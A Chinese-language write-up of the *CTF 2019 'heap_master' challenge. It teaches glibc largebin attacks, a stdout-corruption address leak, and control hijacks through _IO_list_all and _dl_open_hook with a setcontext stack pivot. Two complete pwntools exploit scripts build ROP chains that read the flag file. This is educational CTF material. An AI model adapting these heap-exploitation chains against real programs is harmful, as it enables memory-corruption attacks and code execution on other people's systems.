starctf-heap_master题解

starctf-heap_master题解

这题在比赛中没有解出来,赛后对着网上的writeup调了一遍,主要是ROIS官方的这两篇,学习了一波!相关的文件可以在点击这里下载

题目信息

程序在初始化的时候mmap了一段地址随机且大小为0x10000的内存,之后所有的操作都是基于在这段内存上进行的。

程序给用户提供了如下功能

1
2
3
4
puts("=== Heap Master ===");
puts("1. Malloc");
puts("2. Edit");
puts("3. Free");

分配功能只是调用了malloc函数来分配用户指定大小的内存,然而分配的这块内存的指针没有保存,并且在其他操作中也没有使用。相当于只是分配了内存,并不能使用分配出来的这块内存。

1
2
3
4
5
6
7
8
void *add()
{
__int64 size; // ST08_8

printf("size: ");
size = read_num();
return malloc(size);
}

释放功能要求用户输入偏移,该偏移是基于mmap出来的那块内存的,相当于用户只能释放处于初始化时mmap出来的那块内存范围内的指针

1
2
3
4
5
6
7
8
9
10
11
void delete()
{
unsigned __int64 v0; // [rsp+8h] [rbp-8h]

printf("offset: ");
v0 = read_num();
if ( v0 <= 0xFFFF )
free((char *)heap_base + v0);
else
puts("Invaild input");
}

编辑功能允许用户在mmap出来的内存中进行任意的编辑(只能在mmap出来的内存中编辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int edit()
{
int result; // eax
int i; // [rsp+8h] [rbp-18h]
unsigned __int64 v2; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

printf("offset: ");
v2 = read_num();
printf("size: ");
v3 = read_num();
if ( v2 > 0xFFFF || v3 > 0x10000 || v2 + v3 > 0x10000 )
return puts("Invaild input");
printf("content: ");
for ( i = 0; ; i += result )
{
result = i;
if ( i >= v3 )
break;
result = read(0, (char *)heap_base + v2, v3 - i);
if ( result < 0 )
break;
}
return result;
}

面临的问题

  1. 程序没有输出功能,要想办法进行地址泄露
  2. 即使成功泄漏后,由于只能在mmap处的内存进行编辑,所以很难实现任意地质写,导致控制程序的执行困难

对于没有泄露的题,一般的思路就是通过修改stdout结构体来让程序自己输出地址信息,这种思路在hitconctf里面的babytcache中出现过参考这里。要通过这种方式进行泄露,需要修改stdout结构体中的两个字段,分别是:flag_IO_write_base

在比赛的过程中,始终没有想到通过怎样的方式能够修改两个字段,同时也没有注意到flag字段只需要满足f->flag & 0xa00 and f->flag & 0x1000 == 1以及f->write_base != f->write_ptr时就会造成信息泄露(之前以为需要将flag字段设置为固定的0xfbad1800才可以)。

对于后面控制程序执行的方式,从wp里面学到了两种方法,分别是:

  • 覆盖_IO_list_all来控制
  • 覆盖_dl_open_hook来控制

加载指定版本的libc

题目给出的libc版本为2.25版本,目前已知的查看libc版本的方式有:

  • 直接运行该libc,./libc.so.6
  • 使用strings并过滤GNU C Library来查看
  • 通过libc中指定函数的偏移并结合该网站来查询
1
2
heapmaster$ strings libc.so.6 | grep "GNU C Library"
GNU C Library (Debian GLIBC 2.25-6) stable release version 2.25, by Roland McGrath et al.

为了能够在本地加载该版本的libc进行调试,在这里找到了一个用来加载指定libc版本的脚本,需要有ld.so库的情况下才可以

在知道libc版本但题目没有给出ld.so库的情况下可以去下载对应版本的ld.so库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

def change_ld(binary, ld):
"""
Force to use assigned new ld.so by changing the binary
"""
if not os.access(ld, os.R_OK):
log.failure("Invalid path {} to ld".format(ld))
return None


if not isinstance(binary, ELF):
if not os.access(binary, os.R_OK):
log.failure("Invalid path {} to binary".format(binary))
return None
binary = ELF(binary)


for segment in binary.segments:
if segment.header['p_type'] == 'PT_INTERP':
size = segment.header['p_memsz']
addr = segment.header['p_paddr']
data = segment.data()
if size <= len(ld):
log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld))
return None
binary.write(addr, ld.ljust(size, '\0'))
if not os.access('/tmp/pwn', os.F_OK): os.mkdir('/tmp/pwn')
path = '/tmp/pwn/{}_debug'.format(os.path.basename(binary.path))
if os.access(path, os.F_OK):
os.remove(path)
info("Removing exist file {}".format(path))
binary.save(path)
os.chmod(path, 0b111000000) #rwx------
success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path))
return ELF(path)
# example
elf = change_ld('./heap_master', './ld-linux-x86-64.so.2')
p = elf.process(env={'LD_PRELOAD':'./libc.so.6'})

现在就能够加载程序提供版本的libc进行调试了,不过这种方式启动的程序是无法查看堆的内容的~,所以largebin attack部分需要先用本地的libc进行调试,燃面的部分则用给出的libc调试。

largebin attack 实现信息泄露

前面提到,要通过stdout实现泄露,需要修改两个字段,如何实现呢?可以通过largebin attack来实现。

largebin attack

这里对largebin attack的原理以及能达到的效果进行介绍,详细的介绍请参考这篇文章

largebin attack的原理主要是利用了属于largebin范围内的chunk在从unsorted bin取出并链入largebin过程中的弱检查来实现往任意地址写入堆地址的目的。

largebin attack需要的条件是要求攻击者能够控制已经放入largebin中的chunk的bkbk_nextsize字段

largebin中的chunk是怎么组织的?看了好久的源码才理解

  • 由于largebin中不同的bin链表之间的距离不再像smallbin中那样是固定的0x10字节(64位),而是把chunk大小在某一个范围内的都放在同一个largebin里面。在这种情况下,为了提升查找满足条件的chunk的速度,在原来的smallbin中通过fd、bk来组织链表的基础上增加了通过fd_nextsize、bk_nextsize来组织链表。
  • 同一个largebin中的chunk通过fd、bk字段完整的链接成一个双链表,这和smallbin中是一致的。而大小不同的chunk则是通过fd_nextsize、bk_nextsize又组成了一个链表,这个链表是按照chunk的大小来排列的
  • 当chunk要插入到largebin时,根据chunk的大小来判断应该插入到fd_nextsize、bk_nextsize组成的双链表的哪一个位置。fd_nextsize指向的是比当前chunk更小的chunk的地址,只需要一直遍历下去,就一定能够找到一个比待插入的chunk小的chunk
  • 如果待插入的chunk和某一个chunk大小相等,那么便不会把它链入到fd_nextsize、bk_nextsize组成的链表,但是会链入到fd、bk组成的链表中

举个例子(仅从fdfd_nextsize来考虑)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
当前largebin:
A-->B-->C-->D(其中A>B>C>D)
则fd链表如下:
A-->B-->C-->D
fd_nextsize链表如下:
A-->B-->C-->D

此时要插入E,且C<E<B
则插入后,fd链表如下:
A-->B-->E-->C-->D
fd_nextsize链表如下:
A-->B-->E-->C-->D

此时再插入B1,且B1=B
则插入后,fd链表如下:
A-->B-->B1-->E-->C-->D
fd_nextsize链表如下:
A-->B-->E-->C-->D

将chunk放入到largebin中的代码主要是下面这部分(图片来源于这里

可以看到,如果能够控制已经在largebin中的chunk的bk、bk_nextsize字段,那么就能实现往任意地址写入待插入largebin的chunk的地址。一般待插入的chunk地址为堆地址,所以通过largebin attack可以实现往任意地址写入堆地址的目的

而因为堆地址高字节在开了随机化以后可能为0x55和0x56,当为0x56时,这个值可以作为一个chunk的size字段(0x56对应的NON_MAIN_ARENA为1),在写入字段后,unsorted bin的循环还没有结束,如果攻击者还能控制unsorted binbk字段,那么把这个bk字段设置为刚刚写入0x56的地址(调整一下偏移),如果申请的chunk大小刚好是0x40,那么这个chunk的大小刚好满足条件,就会被申请出来,进而造成任意地址写

1
2
3
4
5
6
7
8
9
10
11
12
/* Take now instead of binning if exact fit */

if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

修改stdout实现泄露

通过largebin attack,我们可以往任意地址处写入待插入larbin的chunk的地址,这里就是mmap出来的内存。而且一次largebin attack可以实现往两个地址处写入堆地址。

同时还需要实现覆盖stdout->flag字段使其满足f->flag & 0xa00 and f->flag & 0x1000 == 1,其中flag & 0xa00 != NULL可以通过控制释放的chunk的偏移来实现,flag & 0x1000 == 1则可以利用mmap出来的内存地址的随机性来满足。

为了让stdout->_IO_write_base!=_IO_write_ptr,可以在覆盖_IO_write_base的时候进行错位,覆盖前一个字段的高7字节和该字段的最低字节,这样就能将stdout结构体的整个内容输出出来(包括mmap内存的地址)

下图就是在本地环境下泄露出来的信息:

通过_IO_list_all控制程序执行

有了堆地址和libc地址后,下一个面临的问题就是如何控制程序的执行。无法通过常规的修改__malloc_hook等地方获取shell,同时题目进行了chroot只能通过执行ROP的方式来读取flag

1
chroot --userspec=pwn:pwn ./ ./heap_master

接下来分析一下是如何通过覆盖_IO_list_all来劫持程序栈到堆上的

首先,再次利用largebin attack,把_IO_list_all的值覆盖为我们可控的mmap出来的堆地址;然后在堆上布置好数据以及ROP链;当程序执行exit()函数的时候会执行_IO_flush_all_lockp,经过fflush获取_IO_list_all的值并取出作为_IO_FILE_plus调用其中的_IO_str_overflow

覆盖_IO_list_all之后,它将指向mmap出来的内存,在这里这样布置内存

1
2
3
4
5
6
7
8
9
edit(0, './flag\x00\x00' + flat(orw))
edit(offset+0x360+0x540, fake_IO_strfile)
edit(offset+0x360+0x540+0xD8, _IO_str_jump)
edit(offset+0x360+0x540+0xE0, p64(pp_j))
# 本地环境下
# p_rsp_r-->pop rsp ; ret
# p_rsp_r13_r-->pop rsp ; pop r13 ; ret
# pp_j-->pop rbx ; pop rbp ; jmp rdx
# fake_IO_strfile = p64(0) + p64(p_rsp_r) + p64(heap+8) + p64(0) + p64(0) + p64(p_rsp_r13_r)

需要进行说明的是,_IO_list_all指向的是mem=offset+0x360+0x540,所以mem处相当于一个我们伪造的FILE结构体,mem+0xD8对应的是IO_jump_t指针,exp中将其设置为一个正常的IO_jump_t结构体,这样就能够在程序退出的时候正常执行_IO_str_overflow

接着在_IO_str_overflow处下好断点,在程序退出后确实执行到了该函数处,且该函数的参数$rdi正是_IO_list_all的值

接着继续单步跟进,进入到这里。看到这里有一个赋值操作,$rdi指向的是我们伪造的FILE结构体,将$rdi+0x28处的值赋值到rdx寄存器中,这个值刚好是libc中gadgetpop rsp ; pop r13 ; ret所在的地址

继续跟进,发现会有一处函数调用,调用的是$rbx+0xe0处的值,这个值在布置内存的时候设置为了pop rbx ; pop rbp ; jmp rdx的地址,rdx的值在前面的赋值中已经被我们控制了,所以这里将再次跳转到p_rsp_r13_r这个gadget处

执行完之后,程序的栈将被劫持到我们可控的内存处

剩下的就是普通的ROP来依次调用open-->read-->write获取flag了

利用脚本

exp如下(在原writeup的基础上做了一些修改),其中DEBUG为1表示使用本地libc,本地环境为ubuntu16.04-->libc2.23,否则表示使用程序提供的libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
from pwn import *
context.update(os='linux', arch='amd64')

def change_ld(binary, ld):
"""
Force to use assigned new ld.so by changing the binary
"""
if not os.access(ld, os.R_OK):
log.failure("Invalid path {} to ld".format(ld))
return None


if not isinstance(binary, ELF):
if not os.access(binary, os.R_OK):
log.failure("Invalid path {} to binary".format(binary))
return None
binary = ELF(binary)


for segment in binary.segments:
if segment.header['p_type'] == 'PT_INTERP':
size = segment.header['p_memsz']
addr = segment.header['p_paddr']
data = segment.data()
if size <= len(ld):
log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld))
return None
binary.write(addr, ld.ljust(size, '\x00'))
if not os.access('/tmp/pwn', os.F_OK): os.mkdir('/tmp/pwn')
path = '/tmp/pwn/{}_debug'.format(os.path.basename(binary.path))
if os.access(path, os.F_OK):
os.remove(path)
info("Removing exist file {}".format(path))
binary.save(path)
os.chmod(path, 0b111000000) #rwx------
success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path))
return ELF(path)

#example
def g(off):
return libc.address + off

def _add(p, size):
p.sendlineafter('>> ', '1')
p.sendlineafter('size: ', str(size))

def _edit(p, off, cont):
p.sendlineafter('>> ', '2')
p.sendlineafter('offset: ', str(off))
p.sendlineafter('size: ', str(len(cont)))
p.sendafter('content: ', cont)

def _del(p, off):
p.sendlineafter('>> ', '3')
p.sendlineafter('offset: ', str(off))

def exploit(host, port=60001):
context.terminal = ['tmux', 'split', '-h']
if DEBUG:
p = process('./heap_master')
context.log_level = 'debug'
stdout = 0x2620
else:
elf = change_ld('./heap_master', './ld-linux-x86-64.so.2')
p = elf.process(env={'LD_PRELOAD':'./libc.so.6'})
context.log_level = 'info'
stdout = 0x5600

add = lambda x: _add(p, x)
edit = lambda x,y: _edit(p, x, y)
free = lambda x: _del(p, x)

info('stdout:'+hex(stdout))

offset = 0x8800-0x7A0
# gdb.attach(p,'b *0x555555554000+0xf71')

# 0x8060
edit(offset+8, p64(0x331)) #p1
edit(offset+8+0x330, p64(0x31))
edit(offset+8+0x360, p64(0x411)) #p2
edit(offset+8+0x360+0x410, p64(0x31))
edit(offset+8+0x360+0x440, p64(0x411)) #p3
edit(offset+8+0x360+0x440+0x410, p64(0x31))
edit(offset+8+0x360+0x440+0x440, p64(0x31))


free(offset+0x10) #p1
free(offset+0x10+0x360) #p2

add(0x90)

edit(offset+8+0x360, p64(0x101)*3)
edit(offset+8+0x460, p64(0x101)*3)
edit(offset+8+0x560, p64(0x101)*3)

free(offset+0x10+0x370)
add(0x90)
free(offset+0x10+0x360)
add(0x90)

# stdout = 0x2620
edit(offset+8+0x360, p64(0x3f1) + p64(0) + p16(stdout-0x10)) #p2->bk

edit(offset+8+0x360+0x18, p64(0) + p16(stdout+0x19-0x20)) #p2->bk_nextsize

free(offset+0x10+0x360+0x440) #p3
# gdb.attach(p,'b *0x555555554000+0xf71')
add(0x90)

if DEBUG:
p.recv(0x18)
libc.address = u64(p.recv(8)) - libc.symbols['_IO_file_jumps']# + 0x1fe0
info('libc.address @ '+hex(libc.address))
info('libc.system @'+hex(libc.symbols['system']))
heap = u64(p.recv(8)) - (0x495cf800-0x495c7000)
info('heap @ '+hex(heap))
else:
heap = u64(p.recv(8)) - (0x495cf800-0x495c7000)
info('heap @ '+hex(heap))
libc.address = u64(p.recv(8)) - 0x83 - (0x7ffff7dd5600-0x7ffff7a37000)# + 0x1fe0
info('libc.address @ '+hex(libc.address))
info('libc.system @'+hex(libc.symbols['system']))


# yet another large bin attack

offset = 0x100

edit(offset+8, p64(0x331)) #p1
edit(offset+8+0x330, p64(0x31))
edit(offset+8+0x360, p64(0x511)) #p2
edit(offset+8+0x360+0x510, p64(0x31))
edit(offset+8+0x360+0x540, p64(0x511)) #p3
edit(offset+8+0x360+0x540+0x510, p64(0x31))
edit(offset+8+0x360+0x540+0x540, p64(0x31))

free(offset+0x10) #p1
free(offset+0x10+0x360) #p2

add(0x90)
context.log_level = 'debug'
edit(offset+8+0x360, p64(0x4f1) + p64(0) + p64(libc.sym['_IO_list_all']-0x10) + p64(0) + p64(libc.sym['_IO_list_all']-0x20))
# gdb.attach(p,'b *0x555555554000+0xf71')
free(offset+0x10+0x360+0x540) #p3

add(0x200)

# trigger on exit()
if DEBUG:
_IO_str_jump = p64(libc.address + (0x7ffff7dd07a0-0x7ffff7a0d000))
pp_j = g(0x12d751) # pop rbx ; pop rbp ; jmp rdx
p_rsp_r = g(0x3838) # pop rsp ; ret
p_rsp_r13_r = g(0x206c3) # pop rsp ; pop r13 ; ret
p_rdi_r = g(0x21102) # pop rdi ; ret
p_rdx_rsi_r = g(0x1150c9) # pop rdx ; pop rsi ; ret
else:
_IO_str_jump = p64(libc.address + 0x39A500)
pp_j = g(0x10fa54) # pop rbx ; pop rbp ; jmp rcx
p_rsp_r = g(0x3870) # pop rsp ; ret
p_rsp_r13_r = g(0x1fd94) # pop rsp ; pop r13 ; ret
p_rdi_r = g(0x1feea) # pop rdi ; ret
p_rdx_rsi_r = g(0xf9619) # pop rdx ; pop rsi ; ret


fake_IO_strfile = p64(0) + p64(p_rsp_r) + p64(heap+8) + p64(0) + p64(0) + p64(p_rsp_r13_r)

orw = [
p_rdi_r, heap,
p_rdx_rsi_r, 0, 0,
libc.sym['open'],
p_rdi_r, 3,
p_rdx_rsi_r, 0x100, heap+0x1337,
libc.sym['read'],
p_rdi_r, 1,
p_rdx_rsi_r, 0x100, heap+0x1337,
libc.sym['write'],
]

edit(0, './flag\x00\x00' + flat(orw))
edit(offset+0x360+0x540, fake_IO_strfile)
edit(offset+0x360+0x540+0xD8, _IO_str_jump)
edit(offset+0x360+0x540+0xE0, p64(pp_j))
gdb.attach(p,'''
b *0x555555554000+0xf71
b *0x7ffff7a89cfe
''')
info('b *'+hex(pp_j))

p.sendlineafter('>> ', '0')

p.interactive()

if __name__ == '__main__':
DEBUG=1
if DEBUG:
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
else:
libc_path = './libc.so.6'
libc = ELF(libc_path)
# exploit(args['REMOTE'])
exploit(0)

通过_dl_open_hook控制程序执行

这种控制程序执行的方式是官方wp里面提到的,通过largebin attack可以将_dl_open_hook覆盖为mmap出来的内存的地址,然后通过mallocfree报错的方式,程序将会把该值加载到寄存器,然后会call该寄存器,在题目的libc中该寄存器为rbx。

相当于这里就有一次任意地址调用的机会,正常情况下可以在这里调用one_gadget来获取shell,但是在这里不行。需要将栈劫持到mmap内存处来ROP。所以如何控制其他的寄存器呢(主要是rsp寄存器)?

在题目给出的libc中,有一个这样的gadget:

1
2
3
0x7FD7D: mov     rdi, [rbx+48h]
mov rsi, r13
call qword ptr [rbx+40h]

之前我们已经控制rbx的值指向了我们可控的内存处,所以跳转到上面这个gadget便可以控制rdi的值,同时这里还提供了一次任意地址调用的机会call qword ptr [rbx+40h],那接下来跳转到哪里能够控制关键寄存器(rsp)的值呢?

可以跳转到setcontext处,该处通过rdi指向的内存来对各个寄存器进行赋值,rdi已被控制,故通过这里便可控制几乎所有的寄存器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
; libcbase = 0x7ffff7a37000
0x7ffff7a7a565 <setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]
0x7ffff7a7a56c <setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
0x7ffff7a7a573 <setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
0x7ffff7a7a577 <setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
0x7ffff7a7a57b <setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
0x7ffff7a7a57f <setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
0x7ffff7a7a583 <setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
0x7ffff7a7a587 <setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
0x7ffff7a7a58e <setcontext+94>: push rcx
0x7ffff7a7a58f <setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
0x7ffff7a7a593 <setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
0x7ffff7a7a59a <setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
0x7ffff7a7a5a1 <setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
0x7ffff7a7a5a5 <setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
0x7ffff7a7a5a9 <setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
0x7ffff7a7a5ad <setcontext+125>: xor eax,eax
0x7ffff7a7a5af <setcontext+127>: ret

总的来说,控制程序的流程如下:

  1. 通过largebin attack覆盖_dl_open_hook的值为可控内存的指针
  2. 程序在mallocfree报错的时候会把_dl_open_hook处的值加载到寄存器rbx中,接着会call该寄存器
  3. 通过前一步的call,让程序跳转到控制rdi寄存器的gadget处,该gadget会再次提供任意地址调用的机会
  4. 跳转到setcontext函数中控制所有寄存器的gadget处,将rsp劫持到可控的内存处开始ROP,读出flag

把这个过程跟踪调试一遍,会更加清楚一些,调试过程如下:

既然会加载_dl_open_hook的值到寄存器中,那么是在哪里加载的呢?加载之后又是在哪里call该寄存器的呢?调试的方法是找到_dl_open_hook所在的内存地址,然后下载该地址的访问断点

rwatch * 0x7ffff7dd92e0

这样就能在加载到寄存器的时候触发断点了,可以看到程序断在了访问该内存的地方,将_dl_open_hook的值加载到了rbx中

继续跟进,这里有一次函数调用call QWORD PTR [rbx],将跳转到我们控制rdi寄存器的gadget上去

跟进该call调用,该gadget会把rbx+0x48处的值赋值到rdi寄存器,并会call rbx+0x40处的地址,所以在mmap的内存上布置如下的数据

1
2
3
4
edit(offset+0x360+0x540, fake_dl_open)
# 程序会跳转到setcontext处执行,rdi的值会被赋值为heap+0x1000
# 进而可以控制关键的寄存器rsp来ROP
edit(offset+0x360+0x540+0x40, p64(set_context)+p64(heap+0x1000))

这是跳转到了setcontext处执行的情况,rsp将会被赋值为$rdi+0xa0处的值,这个地方是我们布置的ROP链的开始位置+8处,因为后面还有一个push rcx的操作

接着便开始正常的ROP来获取flag

利用脚本

该脚本只在程序给出的libc下才能成功读取flag,因为在本地环境下,没有找到能够控制rdi值的gadget,经过调试,_dl_open_hook的值是被加载到rax里面

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
from pwn import *
context.update(os='linux', arch='amd64')

def change_ld(binary, ld):
"""
Force to use assigned new ld.so by changing the binary
"""
if not os.access(ld, os.R_OK):
log.failure("Invalid path {} to ld".format(ld))
return None


if not isinstance(binary, ELF):
if not os.access(binary, os.R_OK):
log.failure("Invalid path {} to binary".format(binary))
return None
binary = ELF(binary)

for segment in binary.segments:
if segment.header['p_type'] == 'PT_INTERP':
size = segment.header['p_memsz']
addr = segment.header['p_paddr']
data = segment.data()
if size <= len(ld):
log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld))
return None
binary.write(addr, ld.ljust(size, '\x00'))
if not os.access('/tmp/pwn', os.F_OK): os.mkdir('/tmp/pwn')
path = '/tmp/pwn/{}_debug'.format(os.path.basename(binary.path))
if os.access(path, os.F_OK):
os.remove(path)
info("Removing exist file {}".format(path))
binary.save(path)
os.chmod(path, 0b111000000) #rwx------
success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path))
return ELF(path)

#example
def g(off):
return libc.address + off

def _add(p, size):
p.sendlineafter('>> ', '1')
p.sendlineafter('size: ', str(size))

def _edit(p, off, cont):
p.sendlineafter('>> ', '2')
p.sendlineafter('offset: ', str(off))
p.sendlineafter('size: ', str(len(cont)))
p.sendafter('content: ', cont)

def _del(p, off):
p.sendlineafter('>> ', '3')
p.sendlineafter('offset: ', str(off))

def exploit(host, port=60001):
context.terminal = ['tmux', 'split', '-h']
if DEBUG:
p = process('./heap_master')
context.log_level = 'debug'
stdout = 0x2620
else:
elf = change_ld('./heap_master', './ld-linux-x86-64.so.2')
p = elf.process(env={'LD_PRELOAD':'./libc.so.6'})
context.log_level = 'info'
stdout = 0x5600

add = lambda x: _add(p, x)
edit = lambda x,y: _edit(p, x, y)
free = lambda x: _del(p, x)

info('stdout:'+hex(stdout))

offset = 0x8800-0x7A0
# gdb.attach(p,'b *0x555555554000+0xf71')

# 0x8060
edit(offset+8, p64(0x331)) #p1
edit(offset+8+0x330, p64(0x31))
edit(offset+8+0x360, p64(0x411)) #p2
edit(offset+8+0x360+0x410, p64(0x31))
edit(offset+8+0x360+0x440, p64(0x411)) #p3
edit(offset+8+0x360+0x440+0x410, p64(0x31))
edit(offset+8+0x360+0x440+0x440, p64(0x31))


free(offset+0x10) #p1
free(offset+0x10+0x360) #p2

add(0x90)

edit(offset+8+0x360, p64(0x101)*3)
edit(offset+8+0x460, p64(0x101)*3)
edit(offset+8+0x560, p64(0x101)*3)

free(offset+0x10+0x370)
add(0x90)
free(offset+0x10+0x360)
add(0x90)

# stdout = 0x2620
edit(offset+8+0x360, p64(0x3f1) + p64(0) + p16(stdout-0x10)) #p2->bk

edit(offset+8+0x360+0x18, p64(0) + p16(stdout+0x19-0x20)) #p2->bk_nextsize

free(offset+0x10+0x360+0x440) #p3
# gdb.attach(p,'b *0x555555554000+0xf71')
add(0x90)

if DEBUG:
p.recv(0x18)
libc.address = u64(p.recv(8)) - libc.symbols['_IO_file_jumps']# + 0x1fe0
info('libc.address @ '+hex(libc.address))
info('libc.system @'+hex(libc.symbols['system']))
heap = u64(p.recv(8)) - (0x495cf800-0x495c7000)
info('heap @ '+hex(heap))
else:
heap = u64(p.recv(8)) - (0x495cf800-0x495c7000)
info('heap @ '+hex(heap))
libc.address = u64(p.recv(8)) - 0x83 - (0x7ffff7dd5600-0x7ffff7a37000)# + 0x1fe0
info('libc.address @ '+hex(libc.address))
info('libc.system @'+hex(libc.symbols['system']))


# yet another large bin attack

offset = 0x100

edit(offset+8, p64(0x331)) #p1
edit(offset+8+0x330, p64(0x31))
edit(offset+8+0x360, p64(0x511)) #p2
edit(offset+8+0x360+0x510, p64(0x31))
edit(offset+8+0x360+0x540, p64(0x511)) #p3
edit(offset+8+0x360+0x540+0x510, p64(0x31))
edit(offset+8+0x360+0x540+0x540, p64(0x31))

free(offset+0x10) #p1
free(offset+0x10+0x360) #p2

add(0x90)
context.log_level = 'debug'
edit(offset+8+0x360, p64(0x4f1) + p64(0) + p64(libc.sym['_dl_open_hook']-0x10) + p64(0) + p64(libc.sym['_dl_open_hook']-0x20))
# gdb.attach(p,'b *0x555555554000+0xf71')
free(offset+0x10+0x360+0x540) #p3

add(0x200)

# trigger on free error
# here if DEBUG==1 will not work, cause gadget that can control rdi
# only exist in remote's libc
_IO_str_jump = p64(libc.address + 0x39A500)
p_rdi_r = g(0x1feea) # pop rdi ; ret
p_rdx_rsi_r = g(0xf9619) # pop rdx ; pop rsi ; ret
set_context = g(0x43565) # setcontext
fake_dl_open = p64(libc.address + 0x7FD7D)

orw = [
p_rdi_r, heap,
p_rdx_rsi_r, 0, 0,
libc.sym['open'],
p_rdi_r, 3,
p_rdx_rsi_r, 0x100, heap+0x1337,
libc.sym['read'],
p_rdi_r, 1,
p_rdx_rsi_r, 0x100, heap+0x1337,
libc.sym['write'],
]

edit(0, './flag\x00\x00' + flat(orw))
edit(offset+0x360+0x540, fake_dl_open)
edit(offset+0x360+0x540+0x40, p64(set_context)+p64(heap+0x1000))
edit(0x1000+0xa0, p64(heap+0x10)+p64(p_rdi_r))
# gdb.attach(p,'''
# b *0x555555554000+0xf71
# b *0x7ffff7b30f35
# b *0x7ffff7ab6d7d
# rwatch *0x7ffff7dd62e0
# rwatch *0x7ffff7dd92e0
# ''')

free(0x10)

p.interactive()

if __name__ == '__main__':
DEBUG=0
if DEBUG:
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
else:
libc_path = './libc.so.6'
libc = ELF(libc_path)
exploit(0)

参考链接

https://xz.aliyun.com/t/5006

https://github.com/sixstars/starctf2019/tree/master/pwn-heap_master

https://veritas501.space/2018/04/11/Largebin%20%E5%AD%A6%E4%B9%A0/

https://bbs.pediy.com/thread-225849.htm